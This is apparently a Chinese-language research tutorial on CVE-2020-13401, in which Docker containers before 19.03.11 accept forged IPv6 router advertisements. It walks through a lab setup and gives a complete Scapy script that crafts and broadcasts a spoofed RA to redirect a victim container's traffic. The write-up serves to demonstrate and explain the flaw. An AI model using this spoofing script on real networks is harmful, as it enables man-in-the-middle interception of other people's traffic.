对Docker 19.03.11之前版本中容器的CVE-2020-13401漏洞的研究
使用 Docker Engine 19.03.11 之前版本创建的容器容易接收并应用来自网络中其他容器的伪造 RA(路由器通告)消息。接收 RA 是操作系统的正常行为,但如果 RA 发送方在网络中不可信,受害容器会接收该消息并加入网络,然后将所有网络数据包发送到新的伪造路由器(中间人攻击)。此问题与 IPv4 无关,基于 IPv6。
原始 CVE 条目来源:CVE-2020-13401
在 Docker Engine 19.03.11 之前的版本中,容器_默认_接受 RA 消息。假设网络中另一个容器具有 CAP_NET_RAW 能力。这意味着该容器可以创建任何网络数据包并发送到网络。因此,该容器可作为数据包构建源。在新版本中,除非在 Docker 引擎上启用此功能,否则容器不接受 RA 消息。因此,如果管理员决定启用此功能,系统可能仍然存在漏洞。
强烈建议更新 Docker Engine,以保护您的容器环境免受此漏洞影响。
在本研究中,我想演示此漏洞是如何发生的,并观察我们的容器如何受到 RA 消息的影响。
在运行的容器中,我测试了 IPv6 是否正常工作。但我发现我的容器默认不支持 IPv6。默认情况下,所有 Docker 容器都连接到一个 bridge 网络,而该网络不支持 IPv6。要为 Docker 启用 IPv6,需要在路径 /etc/docker/ 下添加一个 daemon.json 文件。该文件的内容应如下:
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
可以分配任何有效的 IPv6 子网地址。然后应重启 Docker 并从头重新读取守护进程文件,以配置其默认桥接网络。此外,也可以定义一个新网络来支持 IPv6。
重新加载配置并重启 Docker 的命令:
$ sudo systemctl daemon-reload$ sudo systemctl restart docker到目前为止,我们有一个支持 IPv6 的 Docker,现在是时候创建容器来开始模拟了。我们需要至少 2 个容器。我将它们命名为 Ubuntu_1 和 Ubuntu_2。在您的主机上使用以下命令创建容器:
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
使用此命令列出您的容器:
$ docker container ls -a
使用您的容器名称来运行它们:
$ docker container start -ai [CONTAINER NAME]
在两个容器上,您需要一些基本工具,例如:
| 工具 | 安装命令 |
|---|---|
| nano(或其他编辑器) | apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (仅安装在一个容器上) |
安装所需的工具,并验证您的容器是否已连接。为此,请使用 ifconfig 命令获取容器 IP 和接口信息。然后 ping -6 [目标 IPv6] 另一个容器,以确保它们已连接。此外,您可以在目标容器上使用 tcpdump 来查看接收到的 ping 数据包。
(确保您正在使用 IPv6 来 ping 容器)
我们想要从网络中的一个容器发送精心构造的 RA 消息,并更新受害者的 IpTable。
我正在使用 SCAPY 创建 IPv6 路由器通告消息。Scapy 基于 Python。安装步骤如下:
$ sudo apt install python3-scapyRA 数据包是一个广播数据包,这意味着它应传递到所有网络节点。此外,它基于 IPv6 规则。因此,目标地址是 ff01::1,协议基于 ICMPv6。
运行 Scapy:
$ scapy
我使用以下命令来构造并将数据包发送到网络:
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
发送数据包后,转到其他容器并再次使用 ifconfig。您将看到在接收 RA 消息后,您的 IPTable 已更新。
您可以拉取我自定义的 Docker 镜像来测试和研究此问题: 我的自定义 Docker 镜像